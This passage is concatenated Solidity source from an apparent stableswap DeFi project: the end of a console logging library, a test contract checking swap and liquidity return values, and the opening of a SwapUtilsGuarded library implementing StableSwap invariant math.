function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../../interfaces/ISwap.sol"; import "hardhat/console.sol"; contract TestSwapReturnValues { using SafeMath for uint256; ISwap public swap; IERC20 public lpToken; uint8 public n; uint256 public constant MAX_INT = 2**256 - 1; constructor( ISwap swapContract, IERC20 lpTokenContract, uint8 numOfTokens ) public { swap = swapContract; lpToken = lpTokenContract; n = numOfTokens; // Pre-approve tokens for (uint8 i; i < n; i++) { swap.getToken(i).approve(address(swap), MAX_INT); } lpToken.approve(address(swap), MAX_INT); } function test_swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) public { uint256 balanceBefore = swap.getToken(tokenIndexTo).balanceOf( address(this) ); uint256 returnValue = swap.swap( tokenIndexFrom, tokenIndexTo, dx, minDy, block.timestamp ); uint256 balanceAfter = swap.getToken(tokenIndexTo).balanceOf( address(this) ); console.log( "swap: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "swap()'s return value does not match received amount" ); } function test_addLiquidity(uint256[] calldata amounts, uint256 minToMint) public { uint256 balanceBefore = lpToken.balanceOf(address(this)); uint256 returnValue = swap.addLiquidity(amounts, minToMint, MAX_INT); uint256 balanceAfter = lpToken.balanceOf(address(this)); console.log( "addLiquidity: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "addLiquidity()'s return value does not match minted amount" ); } function test_removeLiquidity(uint256 amount, uint256[] memory minAmounts) public { uint256[] memory balanceBefore = new uint256[](n); uint256[] memory balanceAfter = new uint256[](n); for (uint8 i = 0; i < n; i++) { balanceBefore[i] = swap.getToken(i).balanceOf(address(this)); } uint256[] memory returnValue = swap.removeLiquidity( amount, minAmounts, MAX_INT ); for (uint8 i = 0; i < n; i++) { balanceAfter[i] = swap.getToken(i).balanceOf(address(this)); console.log( "removeLiquidity: Expected %s, got %s", balanceAfter[i].sub(balanceBefore[i]), returnValue[i] ); require( balanceAfter[i].sub(balanceBefore[i]) == returnValue[i], "removeLiquidity()'s return value does not match received amounts of tokens" ); } } function test_removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount ) public { uint256 balanceBefore = lpToken.balanceOf(address(this)); uint256 returnValue = swap.removeLiquidityImbalance( amounts, maxBurnAmount, MAX_INT ); uint256 balanceAfter = lpToken.balanceOf(address(this)); console.log( "removeLiquidityImbalance: Expected %s, got %s", balanceBefore.sub(balanceAfter), returnValue ); require( returnValue == balanceBefore.sub(balanceAfter), "removeLiquidityImbalance()'s return value does not match burned lpToken amount" ); } function test_removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) public { uint256 balanceBefore = swap.getToken(tokenIndex).balanceOf( address(this) ); uint256 returnValue = swap.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount, MAX_INT ); uint256 balanceAfter = swap.getToken(tokenIndex).balanceOf( address(this) ); console.log( "removeLiquidityOneToken: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "removeLiquidityOneToken()'s return value does not match received token amount" ); } } // SPDX-License-Identifier: MIT // https://etherscan.io/address/0x2b7a5a5923eca5c00c6572cf3e8e08384f563f93#code pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./LPTokenGuarded.sol"; import "../MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtilsGuarded { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; LPTokenGuarded lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculation in addLiquidity function // to avoid stack too deep error struct AddLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct RemoveLiquidityImbalanceInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 public constant MAX_WITHDRAW_FEE = 10**8; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(Swap storage self) external view returns (uint256) { return _getA(self); } /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function _getA(Swap storage self) internal view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Calculates and returns A based on the ramp settings * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Retrieves the timestamp of last deposit made by the given address * @param self Swap struct to read from * @return timestamp of last deposit */ function getDepositTimestamp(Swap storage self, address user) external view returns (uint256) { return self.depositTimestamp[user]; } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param account the address that is withdrawing * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive and the associated swap fee */ function calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex ) public view returns (uint256, uint256) { uint256 dy; uint256 newY; (dy, newY) = calculateWithdrawOneTokenDY(self, tokenIndex, tokenAmount); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = _xp(self)[tokenIndex] .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); dy = dy .mul( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount ) internal view returns (uint256, uint256) { require( tokenIndex < self.pooledTokens.length, "Token index out of range" ); // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(self.lpToken.totalSupply())); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA.mul(s).div(A_PRECISION).add(dP.mul(numTokens)).mul(d).div( nA.sub(A_PRECISION).mul(d).div(A_PRECISION).add( numTokens.add(1).mul(dP) ) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Get D, the StableSwap invariant, based on self Swap struct * @param self Swap struct to read from * @return The invariant, at the precision of the pool */ function getD(Swap storage self) internal view returns (uint256) { return getD(_xp(self), _getAPrecise(self)); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) 